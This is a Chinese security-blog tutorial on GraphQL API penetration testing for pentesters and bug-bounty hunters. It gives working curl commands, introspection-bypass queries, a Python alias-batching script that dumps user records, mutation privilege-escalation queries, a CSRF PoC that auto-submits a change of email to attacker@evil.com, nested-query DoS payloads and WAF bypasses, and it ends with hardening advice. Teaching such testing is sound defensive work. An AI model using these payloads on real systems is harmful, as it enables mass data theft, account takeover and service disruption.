PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】GraphQL API安全测试:从Introspection到批量数据泄露(含9种实战攻击手法)

📅 2026年6月16日 📁 Hermes Agent ⏱ 4 分钟

适合人群:初级渗透测试工程师、API安全测试人员、SRC漏洞挖掘者

前置知识:HTTP协议基础、GraphQL基本概念、REST API测试经验

实验环境:Burp Suite + GraphQL IDE(Altair/GraphiQL)+ 在线靶场


一、前置准备

1.1 工具安装


# GraphQL 客户端(推荐 Altair)
npm install -g altair-graphql

# Burp Suite 扩展
# 在 BApp Store 安装:
# - GraphQL Raider(专门测试GraphQL端点)
# - InQL Scanner(扫描器)

# Python 辅助工具
pip3 install graphql-core requests

1.2 靶场搭建


# 本地 GraphQL 漏洞靶场
git clone https://github.com/dolevf/GraphQL-Voyager.git
cd GraphQL-Voyager
docker-compose up -d

# 或使用在线靶场
# https://graphql-vulnerable.herokuapp.com/graphql

二、核心原理

2.1 什么是GraphQL?

GraphQL 是 Facebook 开发的 API 查询语言,核心特点是 客户端决定返回什么数据,而不是像 REST 那样由服务端固定返回结构。


# REST API(过载/欠载)
GET /api/user/1
# 返回: {id, name, email, phone, address, avatar, ...}

# GraphQL(只取你要的)
POST /graphql
{"query": "{ user(id:1) { name email } }"}
# 返回: {"data": {"user": {"name": "张三", "email": "z@x.com"}}}

2.2 GraphQL的攻击面

攻击类型严重级别利用难度常见场景
Introspection 信息泄露🔴 高危⭐ 低生产环境未关Schema查询
批量数据泄露🔴 高危⭐⭐ 中分页缺失/深度递归
CSRF via GraphQL🟠 中危⭐ 低仅GET查询无CSRF Token
认证绕过🔴 高危⭐⭐ 中权限校验仅在REST层
SQL/NoSQL注入🔴 高危⭐⭐⭐ 中resolver参数拼接
DDOS/资源耗尽🟡 低危⭐ 低复杂嵌套查询

2.3 GraphQL vs REST 安全差异


REST API:
  GET /api/users/1 → info泄露可能
  POST /api/users → 需要认证
  每个端点独立鉴权 ✓

GraphQL API:
  POST /graphql → 一个端点处理所有
  {user(id:1){email}} → 数据选择权在客户端
  鉴权在resolver层 → 容易遗漏 ⚠️

三、实战步骤

🔴 Step 1:发现GraphQL端点


# 常见GraphQL路径
/graphql
/graphiql
/gql
/v1/graphql
/api/graphql
/api/gql
/query

# 快速探测
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__typename}"}' \
  -w "\nHTTP %{http_code}"

# 如果返回 {"data":{"__typename":"Query"}} → GraphQL确认

🔴 Step 2:Introspection查询(最关键一步)

很多生产环境忘记关闭 Introspection:


# 完整Schema提取
query IntrospectionQuery {
  __schema {
    types {
      name
      fields {
        name
        type {
          name
          kind
          ofType {
            name
            kind
          }
        }
      }
    }
  }
}

使用 InQL 自动化提取:


# Burp Suite InQL Scanner
# 或命令行
python3 inql -t https://target.com/graphql -o /tmp/schema.txt

🔴 Step 3:绕过Introspection限制

如果 __schema 被禁用,尝试绕过:


# 方式1:使用 __type 替代(逐个查询类型)
{"query":"{__type(name:\"User\"){name fields{name type{name}}}}"}

# 方式2:使用内联片段(Inline Fragment)
{"query":"{__schema{types{name fields{name type{...TypeRef}}}}}"}
fragment TypeRef on __Type{name kind ofType{name kind}}

# 方式3:修改 Content-Type / HTTP 方法
# GET 请求有时不检查 introspection 权限
curl -G "https://target.com/graphql" --data-urlencode 'query={__schema{types{name}}}'

# 方式4:使用 aliases 绕过
{"query":"query x{__schema{types{name}}}"}

🔴 Step 4:批量数据泄露(重点)

4.1 深度递归查询(GraphQL Batching Attack)


# 利用关系查询批量拉数据
query {
  users(first: 100) {
    edges {
      node {
        id
        username
        email
        role
        posts {
          title
          content
          comments {
            content
            author {
              username
              email  # 三层深度,可能拉取所有数据
            }
          }
        }
      }
    }
  }
}

4.2 别名批量注入(Alias-based Batching)


# 同一查询用别名重复多次,绕过频率限制
query {
  u1: user(id:1) { id username email }
  u2: user(id:2) { id username email }
  u3: user(id:3) { id username email }
  # ... 一次性查数千条
  u1000: user(id:1000) { id username email }
}

# 自动化脚本
python3 -c "
import requests, json
ids = list(range(1, 1001))
fields = 'id username email phone'
aliases = {f'u{i}': f'user(id:{i}){{{fields}}}' for i in ids}
query = 'query{' + ' '.join(f'{k}:{v}' for k,v in aliases.items()) + '}'
r = requests.post('https://target.com/graphql', json={'query': query})
data = r.json()
users = [v for k,v in data.get('data',{}).items()]
print(f'泄露 {len(users)} 条用户数据')
"

4.3 分页参数绕过


# 尝试不同分页参数
query {
  users(first: 1000) { ... }
  # 或
  users(limit: 1000) { ... }
  # 或
  users(page: 1, perPage: 10000) { ... }
  # 或(cursor-based)
  users(after: "Y3Vyc29yMQ==") { ... }
}

🔴 Step 5:认证与授权漏洞

5.1 隐藏字段发现


# 即使用户不能访问的字段,Schema 仍可能暴露
# 比如 admin 才有的字段:
query {
  user(id:1) {
    username
    email
    isAdmin     # 普通用户能查到吗?
    ssn         # 敏感字段权限检查完整吗?
    creditCard  # 这些字段是否被正确鉴权?
  }
}

5.2 Mutation(写操作)越权


# 尝试跳过认证直接调用 mutation
mutation {
  deleteUser(id: 5) {
    success
  }
}

mutation {
  changeUserRole(userId: 1, role: ADMIN) {
    user { id username role }
  }
}

5.3 GraphQL CSRF

如果端点支持 GET 请求或 application/x-www-form-urlencoded


<!-- CSRF PoC -->
<form action="https://target.com/graphql" method="POST">
  <input type="hidden" name="query" value='mutation{changeEmail(email:"attacker@evil.com"){success}}'>
  <input type="submit">
</form>
<script>document.forms[0].submit()</script>

🔴 Step 6:DDOS/资源耗尽


# 深度嵌套 → 数据库查询爆炸
query {
  user(id:1) {
    friends {
      friends {
        friends {
          friends {
            name  # 5层深度,指数级查询
          }
        }
      }
    }
  }
}

# 循环引用
query {
  user(id:1) {
    posts {
      author {
        posts {
          author {
            posts {
              title
            }
          }
        }
      }
    }
  }
}

四、绕过技术

限制类型绕过方式
Introspection 关闭__type 逐个枚举、GET请求可绕过、Alias绕过
速率限制别名批量、HTTP/2多路复用、分段查询
深度限制拆分成多个浅查询
认证鉴权空Token、格式错误的Token、CSRF
WAF拦截Content-Type改为x-www-form-urlencoded、请求拆分

Content-Type 绕过 WAF


# WAF只检测 application/json,改用 form 编码
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'query={__schema{types{name}}}'

五、实战案例复盘(脱敏)

场景: 某SaaS平台使用 GraphQL,全站只有 /graphql 一个API端点。

攻击路径:


1. 访问 /graphql 返回 200 → Introspection查询拿到完整Schema
2. Schema 暴露 User 类型包含 phone、ssnLast4、creditCardLast4 字段
3. 用 Alias Batching 一次性查询 500 条 user
4. 发现 `creditCardLast4` 字段未做权限校验
5. 继续深入:`transactions{amount merchant}` 也未鉴权
6. 最终泄露:500用户 × (email + phone + 交易记录)

关键: 问题根源是 resolver层权限检查不完整——部分字段未实现鉴权逻辑。


六、防御建议

措施实现方式优先级
关闭 Introspection生产环境 introspection: false🔴 必须
速率限制基于IP/Token的查询复杂度计算🔴 必须
深度限制max_depth: 5🔴 必须
查询白名单持久化查询(Persisted Queries)🟠 建议
字段级鉴权每个 resolver 都检查权限🔴 必须
超时控制查询超时 10s🟠 建议

快速修复脚本


// Apollo Server 示例
const server = new ApolloServer({
  typeDefs,
  resolvers,
  introspection: process.env.NODE_ENV !== 'production',  // 关闭Introspection
  validationRules: [
    depthLimit(5),          // 限制查询深度
    costLimit({ maxCost: 1000 })  // 限制查询成本
  ]
});

七、常见陷阱

#陷阱正确做法
1只测 REST 端点,忽略 GraphQL先扫 /graphql /graphiql /gql
2Introspection 返回空就放弃尝试 __type 逐个枚举
3只测读不测验(Query不测Mutation)Mutation 越权更多见
4漏掉 N+1 查询泄漏多层关系嵌套可能暴露整套数据
5Content-Type 只试 application/jsonform-urlencoded 绕过WAF
6只有单次请求测试用 Alias 批量并发测试

八、总结速查表

GraphQL 安全加固清单

测试步骤方法工具/命令
发现端点扫常见路径dirsearch -u target.com -e *
Introspection查完整SchemaBurp InQL / Altair
批量泄露Alias注入Python脚本
越权测试Mutation调用GraphQL Raider
权限绕过字段级测试逐个field查询
CSRF测试form提交修改Content-Type
DDOS测试深度嵌套{x{x{x{x{x}}}}}

一键检测脚本


# 快速确认 GraphQL + Introspection
curl -s https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name}}}"}' \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print('✅ GraphQL + Introspected' if 'data' in d and d['data'] and d['data'].get('__schema') else '❌ No introspection')"
← 返回首页